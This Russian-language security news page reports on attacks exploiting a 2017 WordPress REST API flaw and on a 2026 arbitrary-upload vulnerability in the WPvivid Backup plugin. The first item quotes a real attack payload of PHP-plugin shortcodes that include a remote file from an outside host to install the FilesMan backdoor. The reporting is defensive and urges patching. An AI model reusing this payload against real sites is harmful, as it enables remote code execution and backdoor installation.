Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Атаки на уязвимость в WordPress REST API нужны для установки бэкдоров

Массовые атаки на свежую уязвимость в WordPress REST API, исправленную в конце января 2017 года, продолжаются. На прошлой неделе мы рассказывали, что по данным компании WordFence, уязвимость привлекла внимание как минимум 20 хакерских групп, которым удалось скомпрометировать более 1,5 млн страниц.

В настоящий момент количество пострадавших страниц перевалило за два миллиона, а атаки постепенно становятся серьезнее, как и прогнозировали специалисты.

Напомню, что свежая уязвимость была устранена с выходом WordPress 4.7.2, еще 26 января 2017 года. Баг обнаружили специалисты компании Sucuri, и они описывают его как неавторизованную эскалацию привилегий через REST API. Уязвимости подвержены версии 4.7.0 и 4.7.1. Однако публичное раскрытие информации о проблеме состоялось только неделю спустя, так как разработчики хотели, чтобы как можно больше сайтов спокойно установили обновления, пишет xakep.ru.

Уязвимость позволяет неавторизованному атакующему сформировать специальный запрос, при помощи которого можно будет изменять и удалять содержимое любого поста на целевом сайте. Кроме того, используя шорткоды плагинов, злоумышленник может эксплуатировать и другие уязвимости CMS, которые обычно недоступны даже пользователям с высокими привилегиями. В итоге атакующий может внедрить на страницы сайта SEO-спам, рекламу, и даже исполняемый PHP-код, все зависит от доступных плагинов.

Эксперты компании Sucuri заметили, что от простых дефейсов злоумышленники перешли к попыткам удаленного выполнения произвольного кода. Для этих целей хакеры используют плагины Insert PHP (100 000+ установок), Exec-PHP (100 000+ установок) и им подобные. Такие плагины позволяют внедрять PHP-код в посты, чтобы сделать кастомизацию проще.

Исследователи пишут, что теперь дефейс-сообщения хакеров содержат шорткоды для вышеупомянутых плагинов. То есть добавив к своим дефейсам PHP-код, злоумышленники могут добиться его выполнения. В блоге компании эксперты приводят следующий пример, замеченный ими в ходе изучения атак:

content:»[insert_php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/insert_php]
[php] include(‘http[:]//acommeamour.fr/tmp/xx.php’); [/php]»,
«id»:»61a»}

Данный пример приводит к скачиванию бэкдора FilesMan и его установке в директорию /wp-content/uploads/.

Теперь специалисты Sucuri рекомендуют администраторам отключить все потенциально опасные плагины и обновиться до WordPress 4.7.2, если они по какой-то причине еще этого не сделали. Исследователи поясняют, что такие атаки – это способ монетизации уязвимости. Тогда как обычными дефейсами много не заработаешь, размещение бекдора на сервере жертвы позволяет злоумышленникам вернуться позже, даже после устранения оригинальной уязвимости, и разместить на скомпрометированном ресурсе SEO-спам, рекламу или малварь.

Критическая уязвимость в плагине WPvivid Backup затронула 900 000 сайтов

Уязвимость, выявленная в популярном WordPress-плагине для создания резервных копий, позволяет без аутентификации загрузить на сайт вредоносный код PHP и запустить его на исполнение. Патч включен в состав WPvivid Backup & Migration 0.9.124.

Уязвимости подвержены все прежние версии продукта. Ввиду высокой опасности и масштабности проблемы (на счету WPvivid Backup уже свыше 900 тыс. установок) пользователям настоятельно рекомендуется произвести обновление.

Правда, в блог-записи Wordfence сказано, что CVE-2026-1357 (9,8 балла CVSS) критична лишь для тех, у кого настройки плагина предусматривают обработку сгенерированным ключом — в обеспечение загрузки резервных копий с других сайтов. По умолчанию эта возможность отключена, а срок действия ключа ограничен 24 часами.

Согласно описанию, причин появления уязвимости две: неадекватная обработки ошибок при расшифровке по RSA и отсутствие санации пути при записи загруженных файлов.

Как оказалось, когда плагин тщетно пытался расшифровать сеансовый ключ, он не завершал выполнение, а передавал ложное значение $key в phpseclib для инициализации шифрования.

Криптобиблиотека воспринимала его как строку нулевых байтов, что открыло возможность для шифрования полезной нагрузки дефолтным, легко угадываемым 0-байтовым ключом.

 

Ситуацию усугубило отсутствие проверок типа файлов и их расширений в функции send_to_site(). Это провоцировало выход за пределы защищенного каталога резервных копий — загрузку на сервер произвольного PHP-кода с записью в публично доступные места с тем, чтобы он каждый раз отрабатывал в браузере.

Апдейт, устраняющий эти недостатки, вышел 28 января. Автор опасной находки получил 2145 долларов в рамках программы Wordfence Bug Bounty.

RSS: Новости на портале Anti-Malware.ru